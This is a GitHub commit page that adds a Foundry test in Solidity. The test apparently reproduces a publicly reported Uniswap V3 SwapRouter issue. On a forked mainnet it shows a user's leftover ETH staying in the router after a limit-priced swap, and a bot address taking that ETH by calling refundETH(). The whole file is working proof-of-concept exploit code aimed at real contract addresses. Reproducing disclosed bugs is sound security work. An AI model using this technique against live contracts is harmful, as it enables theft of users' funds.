Skip to content

Commit 9f26b36

Browse files
committed
Create UniswapV3ETHRefundExploit.sol
1 parent a830be1 commit 9f26b36

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
+104
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import "forge-std/Test.sol";
5+
// @original:
6+
// https://github.com/Jeiwan/uniswapv3-unrefunded-eth-poc
7+
// @article:
8+
// https://jeiwan.net/posts/public-bug-report-uniswap-swaprouter/
9+
10+
struct ExactInputSingleParams {
11+
address tokenIn;
12+
address tokenOut;
13+
uint24 fee;
14+
address recipient;
15+
uint256 deadline;
16+
uint256 amountIn;
17+
uint256 amountOutMinimum;
18+
uint160 sqrtPriceLimitX96;
19+
}
20+
21+
interface ISwapRouter {
22+
function exactInputSingle(
23+
ExactInputSingleParams calldata params
24+
) external payable returns (uint256 amountOut);
25+
26+
function refundETH() external payable;
27+
}
28+
29+
interface IPool {
30+
function slot0()
31+
external
32+
view
33+
returns (
34+
uint160 sqrtPriceX96,
35+
int24 tick,
36+
uint16 observationIndex,
37+
uint16 observationCardinality,
38+
uint16 observationCardinalityNext,
39+
uint8 feeProtocol,
40+
bool unlocked
41+
);
42+
}
43+
44+
interface IERC20 {
45+
function balanceOf(address) external view returns (uint256);
46+
}
47+
48+
interface IWETH9 {
49+
function approve(address guy, uint256 wad) external returns (bool);
50+
}
51+
52+
contract UniswapV3ETHRefundExploitTest is Test {
53+
ISwapRouter router =
54+
ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
55+
IPool pool = IPool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
56+
57+
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
58+
address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
59+
60+
function testExploit() public {
61+
vm.createSelectFork("mainnet", 16454867);
62+
63+
uint256 amountIn = 100 ether;
64+
65+
vm.label(address(this), "user");
66+
vm.deal(address(this), amountIn);
67+
68+
// Users sells 100 ETH to buy USDC. They have a limit price set.
69+
ExactInputSingleParams memory params = ExactInputSingleParams({
70+
tokenIn: weth,
71+
tokenOut: usdc,
72+
fee: 500,
73+
recipient: address(this),
74+
deadline: block.timestamp,
75+
amountIn: amountIn,
76+
amountOutMinimum: 0,
77+
sqrtPriceLimitX96: 1956260967287247098961477920037032 // (sqrtPrice before + sqrtPrice after) / 2
78+
});
79+
80+
// Full input amount is sent along the call.
81+
router.exactInputSingle{value: amountIn}(params);
82+
83+
// User has bought some USDC. However, the full input ETH amount wasn't used...
84+
assertEq(IERC20(usdc).balanceOf(address(this)), 81979.308775e6);
85+
86+
// ... the remaining ETH is still in the Router contract.
87+
uint256 routerBeforeBalance = address(router).balance;
88+
assertEq(routerBeforeBalance, 50 ether);
89+
90+
// A MEV bot steals the remaining ETH by calling the public refundETH function.
91+
address mev = address(0x31337);
92+
vm.label(mev, "mev");
93+
94+
vm.prank(mev);
95+
router.refundETH();
96+
assertEq(address(mev).balance, 50 ether);
97+
uint256 routerAfterBalance = address(router).balance;
98+
assertEq(routerAfterBalance, 0 ether);
99+
console.log(
100+
"router loss ether amount:",
101+
routerBeforeBalance - routerAfterBalance
102+
);
103+
}
104+
}

0 commit comments

Comments
 (0)